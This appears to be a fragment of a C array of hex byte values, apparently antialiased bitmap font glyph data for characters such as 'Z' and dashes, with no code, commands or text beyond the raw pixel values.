0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xD0, 0xD0, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x13, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x16,
0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9E,
0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9E,
0x00, 0x79, 0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0x92,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0xDB, 0x11,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0xFF, 0xFF, 0xFF, 0xF0, 0x28, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFD, 0xFF, 0xFF, 0xFC, 0x48, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xF0, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xDB, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xBC, 0xFF, 0xFF, 0xFF, 0xC3, 0x06, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF, 0xE0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0xF4, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x41, 0xFB, 0xFF, 0xFF, 0xFE, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x23, 0xEC, 0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0E, 0xD5, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0xB4, 0xFF, 0xFF, 0xFF, 0xDC, 0x1A, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0D,
0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED,
0x55, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF,
0x50, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEA,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0x8F, 0x8F, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCD, 0xFF,
0xFF, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xCD, 0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCD, 0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x49, 0x49,
0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0x20, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x25, 0x84,
0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x88, 0xFF, 0xFF, 0xFF, 0xFF,
0xF5, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xF6, 0xFF, 0xFF, 0xFF, 0xB6, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xE0, 0xFF, 0xFF,
0xFF, 0xDA, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0xBC, 0xFF, 0xFF, 0xFF, 0xF2, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0xFE, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xF5, 0xFF,
0xFF, 0xFF, 0xAF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x12, 0xDE, 0xFF, 0xFF, 0xFF, 0xD5, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xBA, 0xFF, 0xFF, 0xFF, 0xEF, 0x24, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0xFD, 0x48,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0xFF,
0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x2D, 0xF4, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xDC, 0xFF, 0xFF, 0xFF, 0xCF, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xB8, 0xFF, 0xFF, 0xFF, 0xEB,
0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87,
0xFF, 0xFF, 0xFF, 0xFB, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xF3, 0xFF, 0xFF, 0xFF, 0xE9, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x09, 0x6A, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x2F, 0x6A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x65, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x59, 0x62, 0x62, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6C, 0x76, 0x76, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x2C, 0x2C, 0x2C,
0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x16, 0x00, 0x8D, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9E, 0x00, 0x8D, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9E, 0x00, 0x79, 0xE4, 0xE4, 0xE4,
0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0xDB, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x72, 0xFF, 0xFF, 0xFF, 0xF0, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x49, 0xFD, 0xFF, 0xFF, 0xFC, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x29, 0xF0, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x12, 0xDB, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xBC, 0xFF, 0xFF, 0xFF, 0xC3, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x94, 0xFF, 0xFF, 0xFF, 0xE0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68,
0xFF, 0xFF, 0xFF, 0xF4, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFB,
0xFF, 0xFF, 0xFE, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xEC, 0xFF,
0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xD5, 0xFF, 0xFF,
0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xB4, 0xFF, 0xFF, 0xFF,
0xDC, 0x1A, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0D, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x55, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF, 0x50, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEA, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x72, 0x81, 0x81, 0x27, 0x00, 0x00, 0x03, 0x78, 0x81, 0x81, 0x20, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xCF, 0x06, 0x00, 0x7D, 0xFF, 0xFF, 0xDB,
0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xD0, 0xFF, 0xFF, 0x8A,
0x36, 0xFB, 0xFF, 0xFB, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x2B, 0xF7, 0xFF, 0xFE, 0xF3, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0xFF, 0xC5, 0x03, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x92, 0xAF, 0xAF,
0xAF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0x20, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x25, 0x84,
0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x88, 0xFF, 0xFF, 0xFF, 0xFF,
0xF5, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xF6, 0xFF, 0xFF, 0xFF, 0xB6, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xE0, 0xFF, 0xFF,
0xFF, 0xDA, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0xBC, 0xFF, 0xFF, 0xFF, 0xF2, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0xFE, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xF5, 0xFF,
0xFF, 0xFF, 0xAF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x12, 0xDE, 0xFF, 0xFF, 0xFF, 0xD5, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xBA, 0xFF, 0xFF, 0xFF, 0xEF, 0x24, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0xFD, 0x48,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0xFF,
0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x2D, 0xF4, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xDC, 0xFF, 0xFF, 0xFF, 0xCF, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xB8, 0xFF, 0xFF, 0xFF, 0xEB,
0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87,
0xFF, 0xFF, 0xFF, 0xFB, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xF3, 0xFF, 0xFF, 0xFF, 0xE9, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x09, 0x6A, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x2F, 0x6A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x65, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x14, 0x54,
0x54, 0x48, 0x00, 0x00, 0x00, 0x18, 0x54, 0x54, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xF0,
0xFF, 0xFF, 0x52, 0x00, 0x02, 0xBF, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A,
0xFF, 0xFF, 0xEC, 0x19, 0x75, 0xFF, 0xFF, 0xDF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA6, 0xFF, 0xFF, 0xD8, 0xF9, 0xFF, 0xFD, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x41, 0xDC, 0xDC, 0xDC, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x2C, 0x2C, 0x2C,
0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x2C, 0x16, 0x00, 0x8D, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9E, 0x00, 0x8D, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9E, 0x00, 0x79, 0xE4, 0xE4, 0xE4,
0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0xDB, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x72, 0xFF, 0xFF, 0xFF, 0xF0, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x49, 0xFD, 0xFF, 0xFF, 0xFC, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x29, 0xF0, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x12, 0xDB, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xBC, 0xFF, 0xFF, 0xFF, 0xC3, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x94, 0xFF, 0xFF, 0xFF, 0xE0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68,
0xFF, 0xFF, 0xFF, 0xF4, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFB,
0xFF, 0xFF, 0xFE, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xEC, 0xFF,
0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xD5, 0xFF, 0xFF,
0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xB4, 0xFF, 0xFF, 0xFF,
0xDC, 0x1A, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0D, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x55, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF, 0x50, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEA, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x2E, 0x63, 0x5E, 0x2F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xED, 0xFF, 0xFF, 0xFF, 0xFF,
0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFF,
0xFF, 0xFF, 0xF2, 0xB2, 0xCC, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC1, 0xFF, 0xFF, 0xF2, 0x2F, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xFF, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0xFF, 0xFF, 0xF1, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCD, 0xFF, 0xFF, 0xBD,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x0C, 0x0C, 0x0C, 0x14, 0xFB,
0xFF, 0xFF, 0x91, 0x0C, 0x0C, 0x0C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x55, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x36, 0xB3, 0xB3, 0xB3, 0xF5, 0xFF, 0xFF, 0xF7, 0xB3, 0xB3, 0xB3, 0xB3, 0x28,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCD, 0xFF, 0xFF, 0xC6, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xF8, 0xFF, 0xFF,
0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D,
